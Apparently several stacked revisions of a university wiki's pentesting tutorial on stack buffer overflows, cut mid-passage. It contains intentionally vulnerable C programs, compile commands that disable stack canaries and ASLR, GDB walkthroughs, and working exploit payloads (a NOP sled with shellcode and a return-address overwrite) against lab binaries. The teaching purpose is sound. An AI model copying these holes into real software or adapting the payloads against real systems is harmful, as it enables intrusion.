x/8xw $ebp
</pre>
Note that one can observe the saved frame pointer, sfp, which will be used to restore EBP once the function returns. This is the first word starting from the address that EBP points to. The second word is the return pointer. Afterwards, one can see the functions input arguments, as they have been pushed on the stack as part of the function prologue.
<pre>
0xffffcc78: 0xffffcc98 0x5655622c 0x00000001 0x00000002
0xffffcc88: 0x00000003 ... ... ...
</pre>
Now examine the stack further, subtracting from the address of ebp in order to find the buffer.
<pre>
x/8xw $ebp - 16
</pre>
<pre>
0xffffcc68: 0x41000000 0x00414141 0x00000000 0xf7f9ae14
0xffffcc78: 0xffffcc98 0x5655622c 0x00000001 0x00000002
</pre>
Alternatively, look at the output per byte.
<pre>
x/24xb $ebp - 16
</pre>
<pre>
0xffffcc68: 0x00 0x00 0x00 0x41 0x41 0x41 0x41 0x00
0xffffcc70: 0x00 0x00 0x00 0x00 0x14 0xae 0xf9 0xf7
0xffffcc78: 0x98 0xcc 0xff 0xff 0x2c 0x62 0x55 0x56
</pre>

Find the start of the buffer, the first occurrence of the character 'A' in ASCII-representation 0x41. Calculate the distance to the return pointer: 17 bytes. Note that one would need to fill the buffer space with 17 bytes before one could start overwriting the return pointer.

Now one only needs to find the address of the winner function, which can be used to overwrite the return pointer with. Using the info functions command with the additional search string "winner" will return the address of the function winner.
<pre>
info functions winner
</pre>
<pre>
All functions matching regular expression "winner":
...
0x565561d5 winner
</pre>
Note down the address and begin writing the exploit outside of gdb. Use the exit command to exit from gdb.

Use echo with the flags -n and -e to write raw bytes to a file. The bytestring will contain 17 'A' characters and the bytes that make up the address of winner. These will be written to memory in reverse order, since on a little endian system each word will be interpreted in a way that assigns the lowest address byte to the least significant byte of the word.
<pre>
echo -ne '\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\xd5\x61\x55\x56' > exploit.bin
</pre>
Assert that the bytes were written correctly to the file and, if necessary, make changes to it.
<pre>
hexdump -C exploit.bin
hexeditor exploit.bin
</pre>
<pre>
00000000 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |AAAAAAAAAAAAAAAA|
00000010 41 d5 61 55 56 |A.aUV|
00000015
</pre>
Run the program supplying the exploit file to it as user input.
<pre>
./stack-overflow < exploit.bin
</pre>
<pre>
Congratulations! You manipulated the flow of execution.
</pre>

== References ==

* https://phrack.org/issues/49/14.html
* https://git.fh-campuswien.ac.at/CampusCyberSecurityTeam/ccst/-/tree/master/buffer_overflow

[[Category:Pentesting]]

Binary Exploitation (Buffer Overflow)

2024-12-11T18:11:46Z

AKofranek: /* Description */

== Summary ==

This Pentesting documentation features [ANZAHL] examples, on how to exploit a binary with a buffer overflow.

The examples range from very simple ones to more advanced and complex versions.

== Requirements ==

* Operating system: Linux
* Packages: GNU Compiler Collection (GCC), GNU Debugger (GDB)

In order to complete these steps, you must have followed [[Buffer Overflows]] before.

The theoretical part is required to understand basic concepts needed for the examples.

== Description ==

All examples were created in Linux and written in C. To compile the C Code into an executable program the GNU Compiler Collection (GCC) was used. To debug binaries the GNU Debugger (GDB) was used.

Install gcc-multilib and gdb using apt or apt-get.

<pre>
sudo apt update
sudo apt install gcc-multilib
sudo apt install gdb
</pre>

=== Example 1 ===

This example is quite simple and should only demonstrate that a buffer overflow is possible in general. The buffer itself has a fixed length of 8 bytes. The user input is written to the buffer with the gets() function, which doesn’t check boundaries. Any input that is longer than 8 characters will therefore overwrite what comes after it. In this case the volatile integer will get overwritten. The program acts as a game and reveals a flag if the integer is successfully changed.

The program was compiled with this command:

<pre>
gcc -Wno-implicit-function-declaration -o overflow1 overflow1.c
</pre>

Input smaller than 8 ➜ program exits

[[File:Example1-small.png | 900px]]

Input bigger than 8 ➜ flag

[[File:Example1-enough.png | 900px]]

This is the code in C:

<pre>
#include <stdio.h>

int main() {
volatile int secret_treasure = 0;
char buffer[8];

printf("Welcome to the Treasure Hunt!\n");
printf("The buffer is set to 8. If you exceed this limit, you may reveal the treasure!\n");
printf("Initially, the treasure status is hidden...\n\n");

printf("Enter your code: ");
gets(buffer);

if (secret_treasure != 0) {
printf("\n**** Treasure Found! ****\n");
printf("Your treasure is: FLAG{BUFFER OVERFLOW}\n");
} else {
printf("\nSorry, your code was too small. No treasure found.\n");
}

return 0;
}
</pre>

=== Example 2 ===

This example uses a special method of buffer overflows called “stack smashing”. The goal is to execute shellcode by redirecting the execution flow. The return addres will be altered to the start of the buffer.

Since we work with exact addresses, we first disable ASLR for this session. Now the addresses won’t change anymore.

<pre>
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
</pre>

The program expects an argument as input. This argument will be copied to the buffer with the strcpy() function. Again, no bounds checking. If the input no not long enough to reach the return address, the program will exit normally. To simplify the search of finding the exact address of the buffer, the program will print the address for us.

This is the code in C:

<pre>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

void vuln(char *input) {
char buffer[256];

printf("Buffer address: %p\n", (void *)buffer);

strcpy(buffer, input);
}

int main(int argc, char *argv[]) {
if (argc != 2) {
printf("Usage: %s <input>\n", argv[0]);
return 1;
}

vuln(argv[1]);

printf("Function executed without crashing.\n");
return 0;
}
</pre>

To compile the C code into a program the following command is used.

<pre>
gcc -m32 -no-pie -fno-stack-protector -z execstack -Wno-implicit-function-declaration vulnerable.c -o vulnerable
</pre>

# -m32 ➜ 32-bit file
# -no-pie ➜ start at a fixed address
# -fno-stack-protector ➜ disable canaries
# -z execstack ➜ make the stack executable
# -Wno-implicit-function-declaration ➜ supress warnings

The exploit itself is a python code which is passed as an argument to the program. The offset (padding) are the missing bytes to reach the return address. It can be calculated with the help of a pattern and the GNU Debugger (GDB). With this exact payload a padding of 134 is needed.

The return address will be the address of the buffer. Since the program prints the buffers address, we already know it. If the buffer address is not known in advance, a NOP sled can help to enhance the chance of hitting a possible address. As long as it returns to somewhere in the 100 NOPs, the shellcode will get executed.

While the shellcode would normally create a reverse shell, it only prints „YOU GOT HACKED!!“ to the terminal in our case. It is written in Hexadecimal and represents Assembly. Since little-endian is used, it has to be pushed to the stack in reverse order.

This is the code of the exploit in Python:

<pre>
import sys

nop_sled = b"\x90" * 100

shellcode = (
b"\x31\xc0\xb0\x04\x31\xdb\xb3\x01"
b"\x68\x45\x44\x21\x21" # !!DE
b"\x68\x48\x41\x43\x4b" # HACK
b"\x68\x47\x4f\x54\x20" # GOT
b"\x68\x59\x4f\x55\x20" # YOU
b"\x89\xe1\xb2\x0f\xcd\x80" # write
)

padding = b"A" * 134

return_address = b"\xb0\xcd\xff\xff"

payload = nop_sled + shellcode + padding + return_address

sys.stdout.buffer.write(payload)
</pre>

The exploit can be both, a python script and a perl command.

Python:

<pre>
./vulnerable "$(python3 exploit.py)"
</pre>

Perl:

<pre>
./vulnerable "$(perl -e 'print "\x90"x100 . "\x31\xc0\xb0\x04\x31\xdb\xb3\x01\x68\x45\x44\x21\x21\x68\x48\x41\x43\x4b\x68\x47\x4f\x54\x20\x68\x59\x4f\x55\x20\x89\xe1\xb2\x10\xcd\x80" . "A"x134 . "\xa0\xcd\xff\xff"')"
</pre>

Here is the String of our shellcode.
Since the shellcode is never terminated, the whole stack is printed.

[[File:Example2-hacked.png | 900px]]

=== Example 3: Control Flow Alteration by Stack Buffer Overflow Exploitation ===
The following program is vulnerable to stack-based buffer overflows due to the usage of
the insecure gets()-function. gets() is used to write user input into a character array. In
the source code, a function called winner() is defined, which is never called in main().
The objective of the following demonstration is to manipulate the execution flow in a
way that will force the program to execute the winner() function. To achieve that, the
saved return pointer from the stack frame of function will have to be overwritten with
the address of the winner function. Firstly, examine the source:
<pre>
#include <stdio.h>
#include <stdlib.h>

void function(int a, int b, int c) {
char buffer[5];
gets(buffer);
}

void winner(){
printf("Congratulations! You manipulated the execution flow.");
exit(0);
}

int main() {
function(1, 2, 3);
}
</pre>
Compile the source code into a 32-bit binary executable. Note that the compiler would prevent the usage of gets() unless explicitly instructed to ignore the warning using -Wno-implicit-function-declaration.
<pre>
gcc -m32 -Wno-implicit-function-declaration -o stack-overflow stack-overflow.c
</pre>
Open the binary with gdb, insert a breakpoint at the start of the main function and run the program until that first breakpoint.
<pre>
gdb stack-overflow
break main
run
</pre>
Since this binary was not compiled with the -g flag, one cannot list the C source code. Instead, it is possible to disassemble the executable byte code. One can then read the program in assembly language and insert breakpoints at respective instructions.
<pre>
disassemble main
</pre>
Examine the disassembled main function and find the call to function. Note how the stack is prepared (arguments pushed) before function is called.
<pre>
Dump of assembler code for function main:
0x56556203 <+0>: lea ecx,[esp+0x4]
0x56556207 <+4>: and esp,0xfffffff0
0x5655620a <+7>: push DWORD PTR [ecx-0x4]
0x5655620d <+10>: push ebp
0x5655620e <+11>: mov ebp,esp
0x56556210 <+13>: push ecx
=> 0x56556211 <+14>: sub esp,0x4
0x56556214 <+17>: call 0x5655623c <__x86.get_pc_thunk.ax>
0x56556219 <+22>: add eax,0x2ddb
0x5655621e <+27>: sub esp,0x4
0x56556221 <+30>: push 0x3
0x56556223 <+32>: push 0x2
0x56556225 <+34>: push 0x1
0x56556227 <+36>: call 0x565561ad <function>
0x5655622c <+41>: add esp,0x10
0x5655622f <+44>: mov eax,0x0
0x56556234 <+49>: mov ecx,DWORD PTR [ebp-0x4]
0x56556237 <+52>: leave
0x56556238 <+53>: lea esp,[ecx-0x4]
0x5655623b <+56>: ret
</pre>
Disassemble the function "function".
<pre>
disassemble function
</pre>
Find the call to gets.
<pre>
Dump of assembler code for function function:
0x565561ad <+0>: push ebp
0x565561ae <+1>: mov ebp,esp
0x565561b0 <+3>: push ebx
0x565561b1 <+4>: sub esp,0x14
0x565561b4 <+7>: call 0x5655623c <__x86.get_pc_thunk.ax>
0x565561b9 <+12>: add eax,0x2e3b
0x565561be <+17>: sub esp,0xc
0x565561c1 <+20>: lea edx,[ebp-0xd]
0x565561c4 <+23>: push edx
0x565561c5 <+24>: mov ebx,eax
0x565561c7 <+26>: call 0x56556050 <gets@plt>
0x565561cc <+31>: add esp,0x10
0x565561cf <+34>: nop
0x565561d0 <+35>: mov ebx,DWORD PTR [ebp-0x4]
0x565561d3 <+38>: leave
0x565561d4 <+39>: ret
</pre>
Insert a breakpoint at the instruction right after the call to gets. Later, the stack will be examined after the user input has happened. Then continue execution and enter some 'A' characters as user input.
<pre>
break *0x565561cc
continue
</pre>
Examine the current state of the CPU's registers.
<pre>
info registers
</pre>

<pre>
...
esp 0xffffcc50 0xffffcc50
ebp 0xffffcc78 0xffffcc78
...
eip 0x565561cc 0x565561cc <function+31>
...
</pre>
Inspect the current stack frame.
<pre>
info frame
</pre>
Note the saved EIP, which is also called ret or return pointer. This is the instruction address, that will be used to restore EIP with, once the function has finished executing and returns to it's caller.
<pre>
...
eip = 0x565561cc in function; saved eip = 0x5655622c
...
</pre>
One can examine which instruction is saved at that address.
<pre>
x/i 0x5655622c
</pre>
Confirm that it is actually the one right after the function call in <main> by looking at the disassembled main function again.
<pre>
disassemble main
</pre>
Now examine the stack to find the 'A' characters from the user input. Start from the address that EBP points to on the stack. It does not change during execution of the function and provides a good reference point.
<pre>
x/8xw $ebp
</pre>
Note that one can observe the saved frame pointer, sfp, which will be used to restore EBP once the function returns. This is the first word starting from the address that EBP points to. The second word is the return pointer. Afterwards, one can see the functions input arguments, as they have been pushed on the stack as part of the function prologue.
<pre>
0xffffcc78: 0xffffcc98 0x5655622c 0x00000001 0x00000002
0xffffcc88: 0x00000003 ... ... ...
</pre>
Now examine the stack further, subtracting from the address of ebp in order to find the buffer.
<pre>
x/8xw $ebp - 16
</pre>
<pre>
0xffffcc68: 0x41000000 0x00414141 0x00000000 0xf7f9ae14
0xffffcc78: 0xffffcc98 0x5655622c 0x00000001 0x00000002
</pre>
Alternatively, look at the output per byte.
<pre>
x/24xb $ebp - 16
</pre>
<pre>
0xffffcc68: 0x00 0x00 0x00 0x41 0x41 0x41 0x41 0x00
0xffffcc70: 0x00 0x00 0x00 0x00 0x14 0xae 0xf9 0xf7
0xffffcc78: 0x98 0xcc 0xff 0xff 0x2c 0x62 0x55 0x56
</pre>

Find the start of the buffer, the first occurrence of the character 'A' in ASCII-representation 0x41. Calculate the distance to the return pointer: 17 bytes. Note that one would need to fill the buffer space with 17 bytes before one could start overwriting the return pointer.

Now one only needs to find the address of the winner function, which can be used to overwrite the return pointer with. Using the info functions command with the additional search string "winner" will return the address of the function winner.
<pre>
info functions winner
</pre>
<pre>
All functions matching regular expression "winner":
...
0x565561d5 winner
</pre>
Note down the address and begin writing the exploit outside of gdb. Use the exit command to exit from gdb.

Use echo with the flags -n and -e to write raw bytes to a file. The bytestring will contain 17 'A' characters and the bytes that make up the address of winner. These will be written to memory in reverse order, since on a little endian system each word will be interpreted in a way that assigns the lowest address byte to the least significant byte of the word.
<pre>
echo -ne '\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\xd5\x61\x55\x56' > exploit.bin
</pre>
Assert that the bytes were written correctly to the file and, if necessary, make changes to it.
<pre>
hexdump -C exploit.bin
hexeditor exploit.bin
</pre>
<pre>
00000000 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |AAAAAAAAAAAAAAAA|
00000010 41 d5 61 55 56 |A.aUV|
00000015
</pre>
Run the program supplying the exploit file to it as user input.
<pre>
./stack-overflow < exploit.bin
</pre>
<pre>
Congratulations! You manipulated the flow of execution.
</pre>

== References ==

* https://phrack.org/issues/49/14.html
* https://git.fh-campuswien.ac.at/CampusCyberSecurityTeam/ccst/-/tree/master/buffer_overflow

[[Category:Pentesting]]

Binary Exploitation (Buffer Overflow)

2024-12-11T18:11:34Z

AKofranek: /* Description */

== Summary ==

This Pentesting documentation features [ANZAHL] examples, on how to exploit a binary with a buffer overflow.

The examples range from very simple ones to more advanced and complex versions.

== Requirements ==

* Operating system: Linux
* Packages: GNU Compiler Collection (GCC), GNU Debugger (GDB)

In order to complete these steps, you must have followed [[Buffer Overflows]] before.

The theoretical part is required to understand basic concepts needed for the examples.

== Description ==

All examples were created in Linux and written in C. To compile the C Code into an executable program the GNU Compiler Collection (GCC) was used. To debug binaries the GNU Debugger (GDB) was used.

Install gcc-multilib and gdb using apt or apt-get.

<pre>
sudo apt update
sudo apt install gcc-multilib
sudo apt-get install gdb
</pre>

=== Example 1 ===

This example is quite simple and should only demonstrate that a buffer overflow is possible in general. The buffer itself has a fixed length of 8 bytes. The user input is written to the buffer with the gets() function, which doesn’t check boundaries. Any input that is longer than 8 characters will therefore overwrite what comes after it. In this case the volatile integer will get overwritten. The program acts as a game and reveals a flag if the integer is successfully changed.

The program was compiled with this command:

<pre>
gcc -Wno-implicit-function-declaration -o overflow1 overflow1.c
</pre>

Input smaller than 8 ➜ program exits

[[File:Example1-small.png | 900px]]

Input bigger than 8 ➜ flag

[[File:Example1-enough.png | 900px]]

This is the code in C:

<pre>
#include <stdio.h>

int main() {
volatile int secret_treasure = 0;
char buffer[8];

printf("Welcome to the Treasure Hunt!\n");
printf("The buffer is set to 8. If you exceed this limit, you may reveal the treasure!\n");
printf("Initially, the treasure status is hidden...\n\n");

printf("Enter your code: ");
gets(buffer);

if (secret_treasure != 0) {
printf("\n**** Treasure Found! ****\n");
printf("Your treasure is: FLAG{BUFFER OVERFLOW}\n");
} else {
printf("\nSorry, your code was too small. No treasure found.\n");
}

return 0;
}
</pre>

=== Example 2 ===

This example uses a special method of buffer overflows called “stack smashing”. The goal is to execute shellcode by redirecting the execution flow. The return addres will be altered to the start of the buffer.

Since we work with exact addresses, we first disable ASLR for this session. Now the addresses won’t change anymore.

<pre>
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
</pre>

The program expects an argument as input. This argument will be copied to the buffer with the strcpy() function. Again, no bounds checking. If the input no not long enough to reach the return address, the program will exit normally. To simplify the search of finding the exact address of the buffer, the program will print the address for us.

This is the code in C:

<pre>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

void vuln(char *input) {
char buffer[256];

printf("Buffer address: %p\n", (void *)buffer);

strcpy(buffer, input);
}

int main(int argc, char *argv[]) {
if (argc != 2) {
printf("Usage: %s <input>\n", argv[0]);
return 1;
}

vuln(argv[1]);

printf("Function executed without crashing.\n");
return 0;
}
</pre>

To compile the C code into a program the following command is used.

<pre>
gcc -m32 -no-pie -fno-stack-protector -z execstack -Wno-implicit-function-declaration vulnerable.c -o vulnerable
</pre>

# -m32 ➜ 32-bit file
# -no-pie ➜ start at a fixed address
# -fno-stack-protector ➜ disable canaries
# -z execstack ➜ make the stack executable
# -Wno-implicit-function-declaration ➜ supress warnings

The exploit itself is a python code which is passed as an argument to the program. The offset (padding) are the missing bytes to reach the return address. It can be calculated with the help of a pattern and the GNU Debugger (GDB). With this exact payload a padding of 134 is needed.

The return address will be the address of the buffer. Since the program prints the buffers address, we already know it. If the buffer address is not known in advance, a NOP sled can help to enhance the chance of hitting a possible address. As long as it returns to somewhere in the 100 NOPs, the shellcode will get executed.

While the shellcode would normally create a reverse shell, it only prints „YOU GOT HACKED!!“ to the terminal in our case. It is written in Hexadecimal and represents Assembly. Since little-endian is used, it has to be pushed to the stack in reverse order.

This is the code of the exploit in Python:

<pre>
import sys

nop_sled = b"\x90" * 100

shellcode = (
b"\x31\xc0\xb0\x04\x31\xdb\xb3\x01"
b"\x68\x45\x44\x21\x21" # !!DE
b"\x68\x48\x41\x43\x4b" # HACK
b"\x68\x47\x4f\x54\x20" # GOT
b"\x68\x59\x4f\x55\x20" # YOU
b"\x89\xe1\xb2\x0f\xcd\x80" # write
)

padding = b"A" * 134

return_address = b"\xb0\xcd\xff\xff"

payload = nop_sled + shellcode + padding + return_address

sys.stdout.buffer.write(payload)
</pre>

The exploit can be both, a python script and a perl command.

Python:

<pre>
./vulnerable "$(python3 exploit.py)"
</pre>

Perl:

<pre>
./vulnerable "$(perl -e 'print "\x90"x100 . "\x31\xc0\xb0\x04\x31\xdb\xb3\x01\x68\x45\x44\x21\x21\x68\x48\x41\x43\x4b\x68\x47\x4f\x54\x20\x68\x59\x4f\x55\x20\x89\xe1\xb2\x10\xcd\x80" . "A"x134 . "\xa0\xcd\xff\xff"')"
</pre>

Here is the String of our shellcode.
Since the shellcode is never terminated, the whole stack is printed.

[[File:Example2-hacked.png | 900px]]

=== Example 3: Control Flow Alteration by Stack Buffer Overflow Exploitation ===
The following program is vulnerable to stack-based buffer overflows due to the usage of
the insecure gets()-function. gets() is used to write user input into a character array. In
the source code, a function called winner() is defined, which is never called in main().
The objective of the following demonstration is to manipulate the execution flow in a
way that will force the program to execute the winner() function. To achieve that, the
saved return pointer from the stack frame of function will have to be overwritten with
the address of the winner function. Firstly, examine the source:
<pre>
#include <stdio.h>
#include <stdlib.h>

void function(int a, int b, int c) {
char buffer[5];
gets(buffer);
}

void winner(){
printf("Congratulations! You manipulated the execution flow.");
exit(0);
}

int main() {
function(1, 2, 3);
}
</pre>
Compile the source code into a 32-bit binary executable. Note that the compiler would prevent the usage of gets() unless explicitly instructed to ignore the warning using -Wno-implicit-function-declaration.
<pre>
gcc -m32 -Wno-implicit-function-declaration -o stack-overflow stack-overflow.c
</pre>
Open the binary with gdb, insert a breakpoint at the start of the main function and run the program until that first breakpoint.
<pre>
gdb stack-overflow
break main
run
</pre>
Since this binary was not compiled with the -g flag, one cannot list the C source code. Instead, it is possible to disassemble the executable byte code. One can then read the program in assembly language and insert breakpoints at respective instructions.
<pre>
disassemble main
</pre>
Examine the disassembled main function and find the call to function. Note how the stack is prepared (arguments pushed) before function is called.
<pre>
Dump of assembler code for function main:
0x56556203 <+0>: lea ecx,[esp+0x4]
0x56556207 <+4>: and esp,0xfffffff0
0x5655620a <+7>: push DWORD PTR [ecx-0x4]
0x5655620d <+10>: push ebp
0x5655620e <+11>: mov ebp,esp
0x56556210 <+13>: push ecx
=> 0x56556211 <+14>: sub esp,0x4
0x56556214 <+17>: call 0x5655623c <__x86.get_pc_thunk.ax>
0x56556219 <+22>: add eax,0x2ddb
0x5655621e <+27>: sub esp,0x4
0x56556221 <+30>: push 0x3
0x56556223 <+32>: push 0x2
0x56556225 <+34>: push 0x1
0x56556227 <+36>: call 0x565561ad <function>
0x5655622c <+41>: add esp,0x10
0x5655622f <+44>: mov eax,0x0
0x56556234 <+49>: mov ecx,DWORD PTR [ebp-0x4]
0x56556237 <+52>: leave
0x56556238 <+53>: lea esp,[ecx-0x4]
0x5655623b <+56>: ret
</pre>
Disassemble the function "function".
<pre>
disassemble function
</pre>
Find the call to gets.
<pre>
Dump of assembler code for function function:
0x565561ad <+0>: push ebp
0x565561ae <+1>: mov ebp,esp
0x565561b0 <+3>: push ebx
0x565561b1 <+4>: sub esp,0x14
0x565561b4 <+7>: call 0x5655623c <__x86.get_pc_thunk.ax>
0x565561b9 <+12>: add eax,0x2e3b
0x565561be <+17>: sub esp,0xc
0x565561c1 <+20>: lea edx,[ebp-0xd]
0x565561c4 <+23>: push edx
0x565561c5 <+24>: mov ebx,eax
0x565561c7 <+26>: call 0x56556050 <gets@plt>
0x565561cc <+31>: add esp,0x10
0x565561cf <+34>: nop
0x565561d0 <+35>: mov ebx,DWORD PTR [ebp-0x4]
0x565561d3 <+38>: leave
0x565561d4 <+39>: ret
</pre>
Insert a breakpoint at the instruction right after the call to gets. Later, the stack will be examined after the user input has happened. Then continue execution and enter some 'A' characters as user input.
<pre>
break *0x565561cc
continue
</pre>
Examine the current state of the CPU's registers.
<pre>
info registers
</pre>

<pre>
...
esp 0xffffcc50 0xffffcc50
ebp 0xffffcc78 0xffffcc78
...
eip 0x565561cc 0x565561cc <function+31>
...
</pre>
Inspect the current stack frame.
<pre>
info frame
</pre>
Note the saved EIP, which is also called ret or return pointer. This is the instruction address, that will be used to restore EIP with, once the function has finished executing and returns to it's caller.
<pre>
...
eip = 0x565561cc in function; saved eip = 0x5655622c
...
</pre>
One can examine which instruction is saved at that address.
<pre>
x/i 0x5655622c
</pre>
Confirm that it is actually the one right after the function call in <main> by looking at the disassembled main function again.
<pre>
disassemble main
</pre>
Now examine the stack to find the 'A' characters from the user input. Start from the address that EBP points to on the stack. It does not change during execution of the function and provides a good reference point.
<pre>
x/8xw $ebp
</pre>
Note that one can observe the saved frame pointer, sfp, which will be used to restore EBP once the function returns. This is the first word starting from the address that EBP points to. The second word is the return pointer. Afterwards, one can see the functions input arguments, as they have been pushed on the stack as part of the function prologue.
<pre>
0xffffcc78: 0xffffcc98 0x5655622c 0x00000001 0x00000002
0xffffcc88: 0x00000003 ... ... ...
</pre>
Now examine the stack further, subtracting from the address of ebp in order to find the buffer.
<pre>
x/8xw $ebp - 16
</pre>
<pre>
0xffffcc68: 0x41000000 0x00414141 0x00000000 0xf7f9ae14
0xffffcc78: 0xffffcc98 0x5655622c 0x00000001 0x00000002
</pre>
Alternatively, look at the output per byte.
<pre>
x/24xb $ebp - 16
</pre>
<pre>
0xffffcc68: 0x00 0x00 0x00 0x41 0x41 0x41 0x41 0x00
0xffffcc70: 0x00 0x00 0x00 0x00 0x14 0xae 0xf9 0xf7
0xffffcc78: 0x98 0xcc 0xff 0xff 0x2c 0x62 0x55 0x56
</pre>

Find the start of the buffer, the first occurrence of the character 'A' in ASCII-representation 0x41. Calculate the distance to the return pointer: 17 bytes. Note that one would need to fill the buffer space with 17 bytes before one could start overwriting the return pointer.

Now one only needs to find the address of the winner function, which can be used to overwrite the return pointer with. Using the info functions command with the additional search string "winner" will return the address of the function winner.
<pre>
info functions winner
</pre>
<pre>
All functions matching regular expression "winner":
...
0x565561d5 winner
</pre>
Note down the address and begin writing the exploit outside of gdb. Use the exit command to exit from gdb.

Use echo with the flags -n and -e to write raw bytes to a file. The bytestring will contain 17 'A' characters and the bytes that make up the address of winner. These will be written to memory in reverse order, since on a little endian system each word will be interpreted in a way that assigns the lowest address byte to the least significant byte of the word.
<pre>
echo -ne '\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\xd5\x61\x55\x56' > exploit.bin
</pre>
Assert that the bytes were written correctly to the file and, if necessary, make changes to it.
<pre>
hexdump -C exploit.bin
hexeditor exploit.bin
</pre>
<pre>
00000000 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |AAAAAAAAAAAAAAAA|
00000010 41 d5 61 55 56 |A.aUV|
00000015
</pre>
Run the program supplying the exploit file to it as user input.
<pre>
./stack-overflow < exploit.bin
</pre>
<pre>
Congratulations! You manipulated the flow of execution.
</pre>

== References ==

* https://phrack.org/issues/49/14.html
* https://git.fh-campuswien.ac.at/CampusCyberSecurityTeam/ccst/-/tree/master/buffer_overflow

[[Category:Pentesting]]

Binary Exploitation (Buffer Overflow)

2024-12-11T18:04:16Z

AKofranek: /* Example 3: Control Flow Alteration by Stack Overflow Exploitation */

== Summary ==

This Pentesting documentation features [ANZAHL] examples, on how to exploit a binary with a buffer overflow.

The examples range from very simple ones to more advanced and complex versions.

== Requirements ==

* Operating system: Linux
* Packages: GNU Compiler Collection (GCC), GNU Debugger (GDB)

In order to complete these steps, you must have followed [[Buffer Overflows]] before.

The theoretical part is required to understand basic concepts needed for the examples.

== Description ==

All examples were created in Linux and written in C. To compile the C Code into an executable program the GNU Compiler Collection was used.

<pre>
sudo apt update
sudo apt install gcc-multilib
</pre>

=== Example 1 ===

This example is quite simple and should only demonstrate that a buffer overflow is possible in general. The buffer itself has a fixed length of 8 bytes. The user input is written to the buffer with the gets() function, which doesn’t check boundaries. Any input that is longer than 8 characters will therefore overwrite what comes after it. In this case the volatile integer will get overwritten. The program acts as a game and reveals a flag if the integer is successfully changed.

The program was compiled with this command:

<pre>
gcc -Wno-implicit-function-declaration -o overflow1 overflow1.c
</pre>

Input smaller than 8 ➜ program exits

[[File:Example1-small.png | 900px]]

Input bigger than 8 ➜ flag

[[File:Example1-enough.png | 900px]]

This is the code in C:

<pre>
#include <stdio.h>

int main() {
volatile int secret_treasure = 0;
char buffer[8];

printf("Welcome to the Treasure Hunt!\n");
printf("The buffer is set to 8. If you exceed this limit, you may reveal the treasure!\n");
printf("Initially, the treasure status is hidden...\n\n");

printf("Enter your code: ");
gets(buffer);

if (secret_treasure != 0) {
printf("\n**** Treasure Found! ****\n");
printf("Your treasure is: FLAG{BUFFER OVERFLOW}\n");
} else {
printf("\nSorry, your code was too small. No treasure found.\n");
}

return 0;
}
</pre>

=== Example 2 ===

This example uses a special method of buffer overflows called “stack smashing”. The goal is to execute shellcode by redirecting the execution flow. The return addres will be altered to the start of the buffer.

Since we work with exact addresses, we first disable ASLR for this session. Now the addresses won’t change anymore.

<pre>
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
</pre>

The program expects an argument as input. This argument will be copied to the buffer with the strcpy() function. Again, no bounds checking. If the input no not long enough to reach the return address, the program will exit normally. To simplify the search of finding the exact address of the buffer, the program will print the address for us.

This is the code in C:

<pre>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

void vuln(char *input) {
char buffer[256];

printf("Buffer address: %p\n", (void *)buffer);

strcpy(buffer, input);
}

int main(int argc, char *argv[]) {
if (argc != 2) {
printf("Usage: %s <input>\n", argv[0]);
return 1;
}

vuln(argv[1]);

printf("Function executed without crashing.\n");
return 0;
}
</pre>

To compile the C code into a program the following command is used.

<pre>
gcc -m32 -no-pie -fno-stack-protector -z execstack -Wno-implicit-function-declaration vulnerable.c -o vulnerable
</pre>

# -m32 ➜ 32-bit file
# -no-pie ➜ start at a fixed address
# -fno-stack-protector ➜ disable canaries
# -z execstack ➜ make the stack executable
# -Wno-implicit-function-declaration ➜ supress warnings

The exploit itself is a python code which is passed as an argument to the program. The offset (padding) are the missing bytes to reach the return address. It can be calculated with the help of a pattern and the GNU Debugger (GDB). With this exact payload a padding of 134 is needed.

The return address will be the address of the buffer. Since the program prints the buffers address, we already know it. If the buffer address is not known in advance, a NOP sled can help to enhance the chance of hitting a possible address. As long as it returns to somewhere in the 100 NOPs, the shellcode will get executed.

While the shellcode would normally create a reverse shell, it only prints „YOU GOT HACKED!!“ to the terminal in our case. It is written in Hexadecimal and represents Assembly. Since little-endian is used, it has to be pushed to the stack in reverse order.

This is the code of the exploit in Python:

<pre>
import sys

nop_sled = b"\x90" * 100

shellcode = (
b"\x31\xc0\xb0\x04\x31\xdb\xb3\x01"
b"\x68\x45\x44\x21\x21" # !!DE
b"\x68\x48\x41\x43\x4b" # HACK
b"\x68\x47\x4f\x54\x20" # GOT
b"\x68\x59\x4f\x55\x20" # YOU
b"\x89\xe1\xb2\x0f\xcd\x80" # write
)

padding = b"A" * 134

return_address = b"\xb0\xcd\xff\xff"

payload = nop_sled + shellcode + padding + return_address

sys.stdout.buffer.write(payload)
</pre>

The exploit can be both, a python script and a perl command.

Python:

<pre>
./vulnerable "$(python3 exploit.py)"
</pre>

Perl:

<pre>
./vulnerable "$(perl -e 'print "\x90"x100 . "\x31\xc0\xb0\x04\x31\xdb\xb3\x01\x68\x45\x44\x21\x21\x68\x48\x41\x43\x4b\x68\x47\x4f\x54\x20\x68\x59\x4f\x55\x20\x89\xe1\xb2\x10\xcd\x80" . "A"x134 . "\xa0\xcd\xff\xff"')"
</pre>

Here is the String of our shellcode.
Since the shellcode is never terminated, the whole stack is printed.

[[File:Example2-hacked.png | 900px]]

=== Example 3: Control Flow Alteration by Stack Buffer Overflow Exploitation ===
The following program is vulnerable to stack-based buffer overflows due to the usage of
the insecure gets()-function. gets() is used to write user input into a character array. In
the source code, a function called winner() is defined, which is never called in main().
The objective of the following demonstration is to manipulate the execution flow in a
way that will force the program to execute the winner() function. To achieve that, the
saved return pointer from the stack frame of function will have to be overwritten with
the address of the winner function. Firstly, examine the source:
<pre>
#include <stdio.h>
#include <stdlib.h>

void function(int a, int b, int c) {
char buffer[5];
gets(buffer);
}

void winner(){
printf("Congratulations! You manipulated the execution flow.");
exit(0);
}

int main() {
